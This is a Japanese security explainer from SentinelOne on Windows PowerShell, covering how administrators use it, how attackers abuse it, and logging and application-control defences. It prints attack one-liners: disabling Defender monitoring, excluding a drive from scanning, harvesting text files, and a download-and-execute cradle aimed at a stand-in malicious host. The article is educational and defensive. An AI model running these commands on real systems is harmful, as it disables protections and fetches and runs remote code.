Skip to main content
サイバーセキュリティ

Windows PowerShellとは何ですか?

Windows PowerShellは強力な自動化ツールです。そのセキュリティへの影響と、環境内で安全に使用する方法を理解しましょう。

作成者 SentinelOne
Windows PowerShellとは何ですか?

Windows PowerShellは、タスクの自動化と構成管理のための強力なスクリプト言語およびコマンドラインシェルです。このガイドでは、システム管理とセキュリティにおける役割を含め、PowerShellの機能と能力を解説します。

一般的なPowerShellコマンド、スクリプト作成のベストプラクティス、そしてサイバーセキュリティ目的でPowerShellを活用する方法について学びましょう。PowerShellを理解することは、IT担当者やセキュリティ実務者にとって不可欠です。

PowerShellは、企業の重要な資産にどのような影響を与えるのでしょうか? PowerShellの基本、攻撃者にとって魅力的な理由、そして企業を保護する方法を学びましょう

Microsoft PowerShellは、タスクの自動化とWindowsベースのシステム管理に使用されるコマンドラインシェルおよびスクリプト言語です。管理者やセキュリティ担当者は、定常業務の自動化、システムの管理と監視、セキュリティインシデントへの対応の自動化のために一般的にこれを使用します。攻撃者はしばしばPowerShellを利用して、システムへの不正アクセスを取得し、悪意のあるコードを実行します。

Microsoft PowerShellは2006年頃からWindowsで利用可能でしたが、現在ではWindows 10のファイルエクスプローラーにおけるコマンドシェルとなっており、旧来のcmd.exeツールに大きく取って代わっています。一般ユーザーには難解だと見なされることもありますが、PowerShellはその柔軟性と強力さにより、ITチームやネットワーク管理者にとって不可欠なものとなっています。この入門ガイドでは、PowerShellの基本、なぜhackersやマルウェア作成者にとって魅力的なのか、そして組織を保護するために何ができるのかを説明します。

種類を選ぶ

Cortanaの検索フィールドに「PowerShell」と入力すると、PowerShell ISEとPowerShell Desktop appといういくつかの選択肢が表示されます。さらに、スタートメニューまたはPowerShellのタスクバーアイコンのいずれかを右クリックすると、どちらのバージョンのPowerShellも、現在のユーザーとして起動する方法と管理者として起動する方法の2通りがあることがわかります。

一般的なタスクを自動化したい管理者は、PowerShellモジュールやスクリプトを開発するためにISEインターフェースを使用する可能性が高いですが、対話的な利用では、多くの場合PowerShell Desktop appを選択し、タスクに応じて管理者または現在のユーザーとして実行します。

PowerShell Coreについて耳にすることもあるでしょう。これはWindowsだけでなく、LinuxやmacOSでも動作するクロスプラットフォームのオープンソース版です。

ただし、これには注意が必要です。これは署名されていないバイナリとしてインストールされるため、悪意のある偽装版に簡単に置き換えられる可能性があります。PowerShell Coreを使用するエンドポイントがある場合は、適切な証明書で組織が署名するか、定期的にshasumチェックを実行して改ざんされていないことを確認してください。

PowerShellの各種類には機能面でいくつかの違いがありますが、いずれもSSH経由でリモートセッションを実行し、多種多様なプロセスやサービスと対話できます。PowerShellはWindowsレジストリやイベントログとも対話できます。つまり、PowerShellにアクセスできる攻撃者は、同じアクセス権と利点を持つことになります。

Powerを解き放つ

PowerShellの能力は、2つの簡単なコマンドで把握し始めることができます。

Get-Module -ListAvailable

は利用可能なモジュールを一覧表示し、

Get-Command

は利用可能なコマンドを一覧表示します。

いくつか例を簡単に見てみましょう。あなた(または攻撃者)がドキュメントのディレクトリ内を移動していて、その中に興味深いものがあるかどうかをすばやく見つけたいとします。次のようなコマンドは、ディレクトリ内のすべてのテキストファイルについて、先頭2行と末尾2行を出力し、子ディレクトリを再帰的にたどり、隠しファイルや不可視ファイルも含め、その出力を後で確認または取得するために別のテキストファイルへパイプします。

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

誰かが「Confidential」で始まる文書や、「Chief Financial Officer」のような著者の役職で終わる文書を探している場合、これは関心のある項目を列挙するための「手早く雑な」方法となり得ます。

項目の削除は、おそらく侵害の痕跡を消すために行われるものですが、単に次のようにするだけです。

Remove-Item <path>

PowerShellでは、ユーザーが興味深く、そして残念ながら危険な方法でオペレーティングシステムを操作することもできます。malware作成者がプリインストールされたMicrosoft Defender AVエンジンを回避したい場合、適切な権限でPowerShellコマンドを実行することで、それを無効化できます。

Set-MpPreference -DisableRealTimeMonitoring $true

あるいは、もう少しステルス性の高い方法として、検索パスからドライブまたはパスを除外することもできます。

Add-MpPreference -ExclusionPath “c:”

PowerShellを使えば、攻撃者はネットワークドライブを列挙したり、イベントログを呼び出したりすることも簡単にできます。これは悪用可能な情報を見つける有用な方法であり、それぞれGet-PSDriveとGet-EventLogで実行できます。

ユーザーと悪意ある行為者の双方にとって有用な機能として、コマンドラインで対話的に入力されたコマンドの履歴と、それらに渡された引数を読み取る機能があります。履歴は次のコマンドが出力するパスに保存されます。

(Get-PSReadLineOption).HistorySavePath

そして、catとSelect-String cmdlet(またはそのエイリアスsls)を使用して、関心のある項目(たとえばpasswords!など)についてコマンドを実質的に「grep」または検索できます。

スクリプトとExploit Kits

しかし、コマンドラインでPowerShellを操作すること自体が、悪意ある行為者にとって最大の機会というわけではありません。より危険なのは、PowerShellがメモリ内(いわゆる「fileless」マルウェア攻撃)およびディスク上の両方でスクリプトを実行できる能力です。これらはいずれも、ホスト上で直接実行することも、リモートで実行することもできます。

Unixシェルのevalコマンドと同様に、PowerShellにはInvoke-Expression(およびそのエイリアスiex)があり、悪意のあるスクリプトをダウンロードしてメモリ内で実行することが可能です。制限された実行ポリシーを回避しようとして、Bypassを追加することもできます。

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

当然のことながら、PowerShellを最大限に活用する完全なエクスプロイトフレームワークが登場するまでに、それほど時間はかかりませんでした。

その代表格がPowerSploitであり、被害者のマシンを操作および制御するのに役立つPowerShellスクリプトのコレクションです。

PowerShell Empireは、PowerSploitや他のいくつかのプロジェクトの成果を基に、ネットワーク検知を回避し、キーロガーを実行し、Mimikatzのような他のモジュールを実行して、平文パスワード、パスワードハッシュ、その他のデータをメモリから直接抽出できるポストエクスプロイテーションツールを構築しています。

PowerShell攻撃の増加

他の種類のWindows files、.exe、.bat、.wsf、そして.LNKから実行できるPowerShellスクリプトやPowerShellコマンドが作成されていることは、近年PowerShellベースのマルウェアが増加している理由の1つです。あるestimate では、PowerShellエクスプロイトがマルウェアインシデントのほぼ40%を占めるとされており、攻撃者がransomwareからcredential theft、バンキング型トロイの木馬に至るまで、さまざまなキャンペーンでこれを使用していることは疑いありません。PowerShellは、クリック詐欺、パスワードスニッフィング、データ流出にも関与しているとされています。

DNSMessengerは、Word文書のマクロを介して拡散していることが確認されたマルウェアです。これはVBAソースコードを巧みに使用して、永続化、ペイロード配信、C&Cサーバーとの通信を実現するためのエンコードされたPowerShellコマンドを配信します。

驚くべきことに、一部のPowerShell攻撃では、組み込みのPowerShell.exeすら必要としません。PowerShdllやInsecurePowerShellのようなツールは、PowerShellバイナリの基盤となるSystem.Management.Automation.dllを活用することで、スクリプトを直接実行できます。要するに、PowerShell実行ファイルは、ダイナミックリンクライブラリ内の実際のコードのためのホストまたはラッパーにすぎません。攻撃ではこれを利用して、実質的にあらゆるプロセスにPowerShellスクリプトやコマンドを実行させることができます。

PowerShellの他の創造的な利用方法としては、PNGファイルのピクセル内にPowerShellスクリプトを埋め込み、Invoke-PSImageを使用してそれを実行するワンライナーを生成する方法や、PS2EXEのようなツールでPowerShellスクリプトをEXEファイルに変換する方法があります。

PowerShellの管理

ここまでで、PowerShell.exeを単純にブロックするだけではfutileであること、そしてPowerShellが提供する機能に依存するようになったシステム管理者にとって大きな負担になることは、おそらく明らかでしょう。PowerShellとその基盤となるDLLはWindowsオペレーティングシステムの不可欠な一部であり、さらにPowerShell Coreの登場により、その力は企業にとって不可欠となり得るcross-platform管理の機会にも広がっていることを理解することが重要です。

PowerShellの二面性に対処するための効果的なエンタープライズソリューションの1つがSentinelOneであり、エンドポイント上で実行されるプロセスの振る舞いを監視します。これは、マルウェア攻撃がどのように実装されていても、同様の動作をするため有効です。SentinelOneエージェントは、エージェント上のすべてのアクティビティを監視し、悪意あるものと正当なものを区別します。エージェントはすでに、ユーザー、プロセス、コマンドライン引数、レジストリ、ディスク上のファイル、外部通信といった完全なコンテキストを保持しているため、悪意あるアクティビティはその発生源に関係なく軽減できます。


この記事が気に入りましたか? LinkedIn、Twitter、YouTube、またはFacebookでフォローして、私たちが投稿するコンテンツをご覧ください。

Windows Securityについてさらに読む

Callout Background Image Gradient

AIを活用したサイバーセキュリティ

リアルタイムの検知、マシンスピードのレスポンス、デジタル環境全体の可視化により、セキュリティ態勢を強化します。

Windows PowerShellに関するFAQ

Windows PowerShellは、.NET Framework上に構築されたMicrosoftのコマンドライン シェルおよびスクリプト言語です。cmdlet(シンプルな動詞-名詞形式のコマンド)を使用して、ファイル システム、レジストリ、サービスの管理などのタスクを自動化できます。

PowerShellはプレーン テキストではなくオブジェクトを処理して返すため、構造化データを1つのcmdletから次のcmdletへパイプできます。また、システム管理のためのリモート処理、モジュール、コンソール内ヘルプもサポートしています。

従来のCMDとは異なり、PowerShellは動詞-名詞形式のcmdletを使用し、テキスト ストリームではなく.NETオブジェクトを扱います。つまり、テキストを解析することなく、パイプライン経由でコマンドを連結できます。PowerShellスクリプトは.NET APIを直接呼び出すことができ、より高度なエラー処理を提供し、モジュールもサポートします。

従来のシェルはプレーン テキストと基本的なバッチ スクリプトしか扱えませんが、PowerShellは自動化と構成のための完全なスクリプト環境を提供します。

PowerShellはシステムとの深い統合と強力なスクリプト機能を備えているため、管理者と攻撃者の双方に好まれています。脅威アクターは、検知を回避するために、メモリ内でスクリプトを実行するファイルレス技法を使用します。

PowerShellは、ディスクに触れることなく、防御機能を無効化したり、悪意のあるコードをダウンロードしたり、認証情報を窃取したりできます。Windowsに広く存在するため、防御側はPowerShellアクティビティを高リスクとして扱い、悪用を綿密に監視する必要があります。

Ciscoの調査では、PowerShellはエンドポイント上の重大なセキュリティ脅威の3分の1超に関与していました。Carbon Blackは、インシデントの38パーセントでPowerShellの悪用を報告しており、多くはラテラル ムーブメントや認証情報窃取などのエクスプロイト後のアクションでした。

通常の使用率は低いにもかかわらず、PowerShellは確認済みの悪意ある遭遇のおよそ14件に1件で確認されています。

すべてのPowerShellログを有効にしてください: モジュール ログ、スクリプト ブロック ログ、文字起こし。ログ サイズを少なくとも150 MBに設定し、次からイベントを収集します

Microsoft-Windows-PowerShell/OperationalおよびPowerShellCore/Operational。ログをSIEMまたはXDRに取り込みます。信頼されていない親プロセスからのスクリプトをブロックし、実行ポリシーを署名済みスクリプトのみに制限します。追加の詳細を得るためにProtected Event Loggingを有効にしてください。

Just Enough Administration (JEA)を使用して、承認されたcmdletへのユーザー限定アクセスに制限します。制約付き言語モードを強制して、COM、WMI、複雑な式を無効化します。Application Controlポリシー(例: WDAC)を導入して、署名済みスクリプトをホワイトリスト化します。

PowerShellをv5.1以降に更新してください。すべてのスクリプト呼び出しが記録されるよう、ログ設定を定期的に確認して調整してください。

PowerShellを完全にブロックすると、システム管理やリモート管理が機能しなくなる可能性があります。Microsoftは完全な削除を推奨していません。代わりに、実行を認可された管理者に制限し、アプリケーション制御を強制し、Officeアプリのような信頼されていない親プロセス配下でPowerShellが起動しないよう制限してください。

ログ記録と監視を組み合わせることで、これらの制御は正当な運用を損なうことなく、ほとんどの悪意ある使用を阻止します。

PowerShellを使うと、防御側はインシデント対応を自動化し、フォレンジック データを迅速に収集し、脅威ハンティングを実施できます。レジストリ アーティファクト、プロセス一覧、ネットワーク接続を数分で収集するスクリプトを作成できます。PowerShellを学ぶことは、攻撃者の手法の理解にも役立ちます。多くのエクスプロイト後ツール(Empire、Cobalt Strike)が内部でPowerShellを使用しているためです。

PowerShellスクリプトは、トリアージのためにライブ メモリ、レジストリのrun key、イベント ログ、ネットワーク データを収集できます。DFIR-Scriptのようなコミュニティ ツールは、エンドポイント全体での証拠収集を自動化します。ハンターはPowerShellを使用して、悪意のあるスクリプト ブロックについてWindows Event ID 4104を照会し、出力を解析し、結果をSOARプレイブックに取り込みます。これにより、PowerShellは検知、封じ込め、修復ワークフローの中核となります。

さらに詳しく見る サイバーセキュリティ

Decorative background gradient

最先端のサイバーセキュリティプラットフォームを体験

世界で最もインテリジェントで自律型のサイバーセキュリティプラットフォームが、現在そして将来にわたって組織をどのように保護できるかをご覧ください。
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text